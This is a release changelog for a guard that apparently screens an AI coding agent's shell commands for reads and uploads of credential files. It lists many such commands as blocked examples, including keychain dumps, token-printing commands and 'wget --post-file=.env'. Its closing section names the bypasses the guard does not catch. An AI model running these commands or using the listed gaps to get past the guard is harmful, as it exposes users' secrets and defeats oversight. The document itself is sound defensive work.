v0.3.0
Newly blocked
Every behavior fixture that 0.2.0 already contained still passes except one: printf '%s\n' ~/.npmrc | xargs cat was allowed and is now denied. Everything else below is a new fixture row. The rest of the range since 0.2.0 (exact dependency pinning, Renovate's commit prefix, the release skill) has no runtime effect.
- Shell functions and pipelines move the directory. A function call runs its body in the caller's shell with the caller's current directory, so
f() { cd ~/Library; }; f; cat Containers/…andf() { find .; }; cd ~; fare denied. The last element of a pipeline may run in the current shell (zsh does this), sotrue | cd ~/Library; cat Containers/…is denied. A chain of function calls that multiplies past 256 body runs is denied with the syntax reason instead of being inspected. - The current directory spelled out.
$PWD,${PWD},$(pwd),`pwd`and~+expand to the directory the command was read in, including the old directory when acdbefore it may have failed.cd -P,cd -L,cd -q, andcd -swith no directory go home, socd -P && find .is a scan of the home directory. - Wildcards in redirect targets.
cat < ~/Library/Cont*/…andwc -c < .en*are denied because the shell expands the target before the program reads it. - Brace sequences.
cat ~/Library/{C..C}ontainers/…andcat ~/.e{n..n}vare denied. The guard reads{a..z}and{1..3}as a wildcard, because Bun's brace expansion handles only{a,b}. - Option values that name a file.
node --env-file=$HOME/Library/Containers/…andgit --work-tree=$HOME/Library/Containers statusare denied because a value glued to its option with=is a path.rg --ignore-file PATHandgrep --exclude-from PATHare denied whenPATHis under App Data, because the program opens that file. - Git reads of credential files.
git show HEAD:.env,git show :.env,git cat-file -p HEAD:.env,git diff -- .env,git diff --no-index /dev/null .env,git log -p -- .env,git grep TOKEN .env,git grep -f .env, andgit grep … -- '*.pem'are denied. The guard checks the operands ofshow,diff,log,cat-file,blame,annotate,grep,archive,format-patch,whatchanged,difftool,diff-index, anddiff-tree, and the path after arev:prefix; forgit grepthe pattern is not an operand.git credential fillis denied.git add .env,git grep .env, andgit show HEAD:.env.examplestay allowed. egrepandfgrep. They follow thegreprules, including recursive searches.find -execandfd -xwith a reader.find … -exec cat {} +and the-execdir,-ok, and-okdirforms are denied whenever the program is a file reader, a search tool, a shell, or a wrapper, whatever-nameor-typefilters come first and however many-execclauses there are, becausefindreaches hidden files and a filter such as-name '*.json'still reaches~/.docker/config.json.find … | xargs cat,fd -H … | xargs cat,ls -a | xargs cat,ls .env | xargs cat, andecho .* | xargs catare denied for the same reason: the names come from a walk that reaches dotfiles, anlsthat lists them, or a dotfile glob. Names another command prints intoxargs, as inls *.pem | xargs catorfd -e pem | xargs cat, are not checked.find src -name '*.ts' -exec grep -l TODO {} \;is therefore denied too; userg -l TODO src -g '*.ts'. An interpreter such aspython3is not on that list.fd -xand-Xare denied when-H,--hidden, or-uis present; without themfdskips hidden files and stays allowed.- More wrappers and readers.
sudo,doas, andarchare wrappers, sosudo cat .envandsudo bash -c "cat .env"are inspected.scriptis a wrapper.tac,column,pr,vim,vi,nvim,view,ed,ex,hg,svn,perl,ruby,dd if=,zip, and the shellssh,bash,zsh,dash, andkshare readers, becausesh -von a credential file prints it.tcsh -candcsh -care parsed likebash -c, and a literalechoorprintfpiped into a shell is parsed as the command line it prints, soecho 'cmd' | sh,printf 'cat %s\n' FILE | sh, andprintf '%s %s' cat FILE | share inspected; escapes such as\n,\xHH,\uHHHH, and octal\NNNare decoded and\cends the text, and aprintfconversion other than%s,%b, and%%is not expanded. Csh syntax is parsed as bash, so a validtcsh -c 'if ( -f x ) echo y'is denied.scpandrsyncare denied with the upload reason when they send a credential file.xargs -a FILEis checked as a read ofFILE, and a literalechoorprintfvalue piped intoxargs, or a here-string or here-document given to it, is checked as the argument it becomes, with or without-I.wget,php,zgrep,zless, andzmoreare readers too, and the operands and--flag=PATHvalues ofghare checked, sogh gist create .envandwget --post-file=.env URLare denied.|&is treated like|forxargsand shell input.tar --exclude=.envis allowed: an exclude pattern is not a file the command reads. - Commands that print a secret.
security dump-keychain,security export, and combined flags such assecurity find-generic-password -ws NAMEare denied with the keychain reason.gcloud auth print-access-tokenandprint-identity-token,az account get-access-token,aws configure getof a name that holdsSECRET,TOKEN,KEY,PASSWORD, orCREDENTIAL,npm config getof an auth, token, or password key,kubectl config view --raw, andgpg --export-secret-keysare denied with a new reason that tells the agent to use the credential without printing it. The list is not exhaustive: a command that prints a secret through another subcommand is allowed. - More credential files.
~/.netrc,~/.git-credentials,~/.docker/config.json,~/.kube/config,~/.pypirc,~/.pgpass,~/.cargo/credentials*, and~/.config/gh/hosts.ymlare listed. A search rooted at a directory that holds such a file, or at~/.configabove~/.config/gh, is denied, and so is a search with no path operand run from such a directory (cd ~/.docker && rg auths).tar,zip,scp,rsync, andgit grephanded such a directory are denied as well (tar -cf - ~/.aws,scp -r ~/.aws host:/tmp), but the last operand ofcp,rsync, andscpand the directory aftertar -Care written to, not read, sorsync -a ~/dotfiles/.config/ ~/.config/andtar -xzf a.tgz -C ~/.configstay allowed. Inside a named directory, a glob that could match a listed name counts, socat ~/.cargo/*.tomlandcat ~/.cargo/credential[s].tomlare denied. Otherwise a glob matches such a name only when its directory segment matches too, socat conf*andcat *.jsonin a project stay allowed, while a bare wildcard in the directory that holds a listed file, as incat ~/.docker/*orcat ~/.config/gh/*, is denied. This also narrows the older.aws/credentials*entry:cat cred*outside~/.awsis no longer denied. - curl file operands through a link.
curl -d @link,--data-binary=@link,-F f=@link,-Tlink,--upload-file=link, and--config=linkresolve the link before the upload check.
Not covered: process substitution as input, such as xargs cat < <(echo …), a wrapper the guard does not list, such as xcrun sh, and a read whose target the program picks while it runs, such as an interpreter opening a file itself, git diff without a path operand, fd -x over credential names outside hidden files, and a path built by command substitution, held in a variable, or reached through a file moved earlier. Only the operating system's read restrictions on the credential stores cover those. A command that prints a secret through a subcommand not listed above is allowed, because it has no path for the guard to check. A program that is not a file reader is allowed even when it is handed a credential path, as in aws s3 cp .env s3://bucket/x and rclone copy .env remote:.